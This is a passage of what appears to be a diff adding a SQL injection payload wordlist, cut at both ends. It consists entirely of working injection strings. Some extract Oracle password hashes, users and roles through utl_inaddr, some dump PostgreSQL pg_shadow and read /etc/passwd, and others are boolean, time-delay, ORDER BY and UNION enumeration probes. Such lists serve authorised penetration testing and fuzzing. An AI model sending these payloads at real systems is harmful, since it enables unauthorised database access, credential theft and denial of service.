+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=6)) AND 'i'='i
357
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=7)) AND 'i'='i
358
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=7)) AND 'i'='i
359
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=7)) AND 'i'='i
360
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=7)) AND 'i'='i
361
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=7)) AND 'i'='i
362
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=8)) AND 'i'='i
363
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=8)) AND 'i'='i
364
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=8)) AND 'i'='i
365
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=8)) AND 'i'='i
366
+ ' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=8)) AND 'i'='i
367
+ select version();
368
+ select current_database();
369
+ select current_user;
370
+ select session_user;
371
+ select current_setting('log_connections');
372
+ select current_setting('log_statement');
373
+ select current_setting('port');
374
+ select current_setting('password_encryption');
375
+ select current_setting('krb_server_keyfile');
376
+ select current_setting('virtual_host');
377
+ select current_setting('config_file');
378
+ select current_setting('hba_file');
379
+ select current_setting('data_directory');
380
+ select * from pg_shadow;
381
+ select * from pg_group;
382
+ create table myfile (input TEXT);
383
+ copy myfile from '/etc/passwd';
384
+ select * from myfile;copy myfile to /tmp/test;
385
+ OR 1=1
386
+ OR 1=0
387
+ OR x=x
388
+ OR x=y
389
+ OR 1=1#
390
+ OR 1=0#
391
+ OR x=x#
392
+ OR x=y#
393
+ OR 1=1--
394
+ OR 1=0--
395
+ OR x=x--
396
+ OR x=y--
397
+ OR 3409=3409 AND ('pytW' LIKE 'pytW
398
+ OR 3409=3409 AND ('pytW' LIKE 'pytY
399
+ HAVING 1=1
400
+ HAVING 1=0
401
+ HAVING 1=1#
402
+ HAVING 1=0#
403
+ HAVING 1=1--
404
+ HAVING 1=0--
405
+ AND 1=1
406
+ AND 1=0
407
+ AND 1=1--
408
+ AND 1=0--
409
+ AND 1=1#
410
+ AND 1=0#
411
+ AND 1=1 AND '%'='
412
+ AND 1=0 AND '%'='
413
+ AND 1083=1083 AND (1427=1427
414
+ AND 7506=9091 AND (5913=5913
415
+ AND 1083=1083 AND ('1427=1427
416
+ AND 7506=9091 AND ('5913=5913
417
+ AND 7300=7300 AND 'pKlZ'='pKlZ
418
+ AND 7300=7300 AND 'pKlZ'='pKlY
419
+ AND 7300=7300 AND ('pKlZ'='pKlZ
420
+ AND 7300=7300 AND ('pKlZ'='pKlY
421
+ AS INJECTX WHERE 1=1 AND 1=1
422
+ AS INJECTX WHERE 1=1 AND 1=0
423
+ AS INJECTX WHERE 1=1 AND 1=1#
424
+ AS INJECTX WHERE 1=1 AND 1=0#
425
+ AS INJECTX WHERE 1=1 AND 1=1--
426
+ AS INJECTX WHERE 1=1 AND 1=0--
427
+ WHERE 1=1 AND 1=1
428
+ WHERE 1=1 AND 1=0
429
+ WHERE 1=1 AND 1=1#
430
+ WHERE 1=1 AND 1=0#
431
+ WHERE 1=1 AND 1=1--
432
+ WHERE 1=1 AND 1=0--
433
+ ORDER BY 1--
434
+ ORDER BY 2--
435
+ ORDER BY 3--
436
+ ORDER BY 4--
437
+ ORDER BY 5--
438
+ ORDER BY 6--
439
+ ORDER BY 7--
440
+ ORDER BY 8--
441
+ ORDER BY 9--
442
+ ORDER BY 10--
443
+ ORDER BY 11--
444
+ ORDER BY 12--
445
+ ORDER BY 13--
446
+ ORDER BY 14--
447
+ ORDER BY 15--
448
+ ORDER BY 16--
449
+ ORDER BY 17--
450
+ ORDER BY 18--
451
+ ORDER BY 19--
452
+ ORDER BY 20--
453
+ ORDER BY 21--
454
+ ORDER BY 22--
455
+ ORDER BY 23--
456
+ ORDER BY 24--
457
+ ORDER BY 25--
458
+ ORDER BY 26--
459
+ ORDER BY 27--
460
+ ORDER BY 28--
461
+ ORDER BY 29--
462
+ ORDER BY 30--
463
+ ORDER BY 31337--
464
+ ORDER BY 1#
465
+ ORDER BY 2#
466
+ ORDER BY 3#
467
+ ORDER BY 4#
468
+ ORDER BY 5#
469
+ ORDER BY 6#
470
+ ORDER BY 7#
471
+ ORDER BY 8#
472
+ ORDER BY 9#
473
+ ORDER BY 10#
474
+ ORDER BY 11#
475
+ ORDER BY 12#
476
+ ORDER BY 13#
477
+ ORDER BY 14#
478
+ ORDER BY 15#
479
+ ORDER BY 16#
480
+ ORDER BY 17#
481
+ ORDER BY 18#
482
+ ORDER BY 19#
483
+ ORDER BY 20#
484
+ ORDER BY 21#
485
+ ORDER BY 22#
486
+ ORDER BY 23#
487
+ ORDER BY 24#
488
+ ORDER BY 25#
489
+ ORDER BY 26#
490
+ ORDER BY 27#
491
+ ORDER BY 28#
492
+ ORDER BY 29#
493
+ ORDER BY 30#
494
+ ORDER BY 31337#
495
+ ORDER BY 1
496
+ ORDER BY 2
497
+ ORDER BY 3
498
+ ORDER BY 4
499
+ ORDER BY 5
500
+ ORDER BY 6
501
+ ORDER BY 7
502
+ ORDER BY 8
503
+ ORDER BY 9
504
+ ORDER BY 10
505
+ ORDER BY 11
506
+ ORDER BY 12
507
+ ORDER BY 13
508
+ ORDER BY 14
509
+ ORDER BY 15
510
+ ORDER BY 16
511
+ ORDER BY 17
512
+ ORDER BY 18
513
+ ORDER BY 19
514
+ ORDER BY 20
515
+ ORDER BY 21
516
+ ORDER BY 22
517
+ ORDER BY 23
518
+ ORDER BY 24
519
+ ORDER BY 25
520
+ ORDER BY 26
521
+ ORDER BY 27
522
+ ORDER BY 28
523
+ ORDER BY 29
524
+ ORDER BY 30
525
+ ORDER BY 31337
526
+ RLIKE (SELECT (CASE WHEN (4346=4346) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'='
527
+ RLIKE (SELECT (CASE WHEN (4346=4347) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'='
528
+ IF(7423=7424) SELECT 7423 ELSE DROP FUNCTION xcjl--
529
+ IF(7423=7423) SELECT 7423 ELSE DROP FUNCTION xcjl--
530
+ %' AND 8310=8310 AND '%'='
531
+ %' AND 8310=8311 AND '%'='
532
+ and (select substring(@@version,1,1))='X'
533
+ and (select substring(@@version,1,1))='M'
534
+ and (select substring(@@version,2,1))='i'
535
+ and (select substring(@@version,2,1))='y'
536
+ and (select substring(@@version,3,1))='c'
537
+ and (select substring(@@version,3,1))='S'
538
+ and (select substring(@@version,3,1))='X'
539
+ 1
540
+ 1'
541
+ 1"
542
+ [1]
543
+ 1`
544
+ 1\
545
+ 1/*'*/
546
+ 1/*!1111'*/
547
+ 1'||'asd'||'
548
+ 'or''='
549
+ sleep(5)#
550
+ 1 or sleep(5)#
551
+ " or sleep(5)#
552
+ ' or sleep(5)#
553
+ " or sleep(5)="
554
+ ' or sleep(5)='
555
+ 1) or sleep(5)#
556
+ ") or sleep(5)="
557
+ ') or sleep(5)='
558
+ 1)) or sleep(5)#
559
+ ")) or sleep(5)="
560
+ ')) or sleep(5)='
561
+ ;waitfor delay '0:0:5'--
562
+ );waitfor delay '0:0:5'--
563
+ ';waitfor delay '0:0:5'--
564
+ ";waitfor delay '0:0:5'--
565
+ ');waitfor delay '0:0:5'--
566
+ ");waitfor delay '0:0:5'--
567
+ ));waitfor delay '0:0:5'--
568
+ '));waitfor delay '0:0:5'--
569
+ "));waitfor delay '0:0:5'--
570
+ benchmark(10000000,MD5(1))#
571
+ 1 or benchmark(10000000,MD5(1))#
572
+ " or benchmark(10000000,MD5(1))#
573
+ ' or benchmark(10000000,MD5(1))#
574
+ 1) or benchmark(10000000,MD5(1))#
575
+ ") or benchmark(10000000,MD5(1))#
576
+ ') or benchmark(10000000,MD5(1))#
577
+ 1)) or benchmark(10000000,MD5(1))#
578
+ ")) or benchmark(10000000,MD5(1))#
579
+ ')) or benchmark(10000000,MD5(1))#
580
+ pg_sleep(5)--
581
+ 1 or pg_sleep(5)--
582
+ " or pg_sleep(5)--
583
+ ' or pg_sleep(5)--
584
+ 1) or pg_sleep(5)--
585
+ ") or pg_sleep(5)--
586
+ ') or pg_sleep(5)--
587
+ 1)) or pg_sleep(5)--
588
+ ")) or pg_sleep(5)--
589
+ ')) or pg_sleep(5)--
590
+ ||pg_sleep(5)--
591
+ 1||pg_sleep(5)--
592
+ "||pg_sleep(5)--
593
+ '||pg_sleep(5)--
594
+ 1)||pg_sleep(5)--
595
+ ")||pg_sleep(5)--
596
+ ')||pg_sleep(5)--
597
+ 1))||pg_sleep(5)--
598
+ "))||pg_sleep(5)--
599
+ '))||pg_sleep(5)--
600
+ AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND 'vRxe'='vRxe
601
+ AND (SELECT * FROM (SELECT(SLEEP(5)))YjoC) AND '%'='
602
+ AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)
603
+ AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)--
604
+ AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)#
605
+ SLEEP(5)#
606
+ SLEEP(5)--
607
+ SLEEP(5)="
608
+ SLEEP(5)='
609
+ or SLEEP(5)
610
+ or SLEEP(5)#
611
+ or SLEEP(5)--
612
+ or SLEEP(5)="
613
+ or SLEEP(5)='
614
+ waitfor delay '00:00:05'
615
+ waitfor delay '00:00:05'--
616
+ waitfor delay '00:00:05'#
617
+ benchmark(50000000,MD5(1))
618
+ benchmark(50000000,MD5(1))--
619
+ benchmark(50000000,MD5(1))#
620
+ or benchmark(50000000,MD5(1))
621
+ or benchmark(50000000,MD5(1))--
622
+ or benchmark(50000000,MD5(1))#
623
+ pg_SLEEP(5)
624
+ pg_SLEEP(5)--
625
+ pg_SLEEP(5)#
626
+ or pg_SLEEP(5)
627
+ or pg_SLEEP(5)--
628
+ or pg_SLEEP(5)#
629
+ '\"
630
+ AnD SLEEP(5)
631
+ AnD SLEEP(5)--
632
+ AnD SLEEP(5)#
633
+ &&SLEEP(5)
634
+ &&SLEEP(5)--
635
+ &&SLEEP(5)#
636
+ ' AnD SLEEP(5) ANd '1
637
+ '&&SLEEP(5)&&'1
638
+ ORDER BY SLEEP(5)
639
+ ORDER BY SLEEP(5)--
640
+ ORDER BY SLEEP(5)#
641
+ (SELECT * FROM (SELECT(SLEEP(5)))ecMj)
642
+ (SELECT * FROM (SELECT(SLEEP(5)))ecMj)#
643
+ (SELECT * FROM (SELECT(SLEEP(5)))ecMj)--
644
+ +benchmark(3200,SHA1(1))+'
645
+ + SLEEP(10) + '
646
+ RANDOMBLOB(500000000/2)
647
+ AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
648
+ OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
649
+ RANDOMBLOB(1000000000/2)
650
+ AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
651
+ OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
652
+ SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/
653
+ ORDER BY SLEEP(5)
654
+ ORDER BY 1,SLEEP(5)
655
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A'))
656
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4
657
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5
658
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6
659
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7
660
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8
661
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9
662
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10
663
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11
664
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12
665
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13
666
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14
667
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15
668
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16
669
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17
670
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
671
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
672
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
673
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
674
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
675
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
676
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
677
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
678
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
679
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
680
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
681
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
682
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
683
+ ORDER BY SLEEP(5)#
684
+ ORDER BY 1,SLEEP(5)#
685
+ ORDER BY 1,SLEEP(5),3#
686
+ ORDER BY 1,SLEEP(5),3,4#
687
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5#
688
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6#
689
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7#
690
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8#
691
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9#
692
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10#
693
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11#
694
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12#
695
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13#
696
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14#
697
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15#
698
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16#
699
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17#
700
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#
701
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
702
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
703
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#
704
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#
705
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
706
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
707
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25#
708
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26#
709
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27#
710
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28#
711
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29#
712
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30#
713
+ ORDER BY SLEEP(5)--
714
+ ORDER BY 1,SLEEP(5)--
715
+ ORDER BY 1,SLEEP(5),3--
716
+ ORDER BY 1,SLEEP(5),3,4--
717
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5--
718
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6--
719
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7--
720
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8--
721
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9--
722
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10--
723
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11--
724
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12--
725
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13--
726
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14--
727
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15--
728
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16--
729
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17--
730
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
731
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
732
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
733
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--
734
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22--
735
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--
736
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--
737
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--
738
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--
739
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--
740
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28--
741
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--
742
+ ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--
743
+ UNION ALL SELECT 1
744
+ UNION ALL SELECT 1,2
745
+ UNION ALL SELECT 1,2,3
746
+ UNION ALL SELECT 1,2,3,4
747
+ UNION ALL SELECT 1,2,3,4,5
748
+ UNION ALL SELECT 1,2,3,4,5,6
749
+ UNION ALL SELECT 1,2,3,4,5,6,7
750
+ UNION ALL SELECT 1,2,3,4,5,6,7,8
751
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9
752
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10
753
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11
754
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12
755
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13
756
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14
757
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
758
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
759
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
760
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
761
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
762
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
763
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
764
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
765
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
766
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
767
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
768
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
769
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
770
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
771
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
772
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
773
+ UNION ALL SELECT 1#
774
+ UNION ALL SELECT 1,2#
775
+ UNION ALL SELECT 1,2,3#
776
+ UNION ALL SELECT 1,2,3,4#
777
+ UNION ALL SELECT 1,2,3,4,5#
778
+ UNION ALL SELECT 1,2,3,4,5,6#
779
+ UNION ALL SELECT 1,2,3,4,5,6,7#
780
+ UNION ALL SELECT 1,2,3,4,5,6,7,8#
781
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9#
782
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10#
783
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11#
784
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12#
785
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13#
786
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14#
787
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15#
788
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16#
789
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17#
790
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#
791
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
792
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
793
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#
794
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#
795
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
796
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
797
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25#
798
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26#
799
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27#
800
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28#
801
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29#
802
+ UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30#
803
+ UNION ALL SELECT 1--
804
+ UNION ALL SELECT 1,2--
805
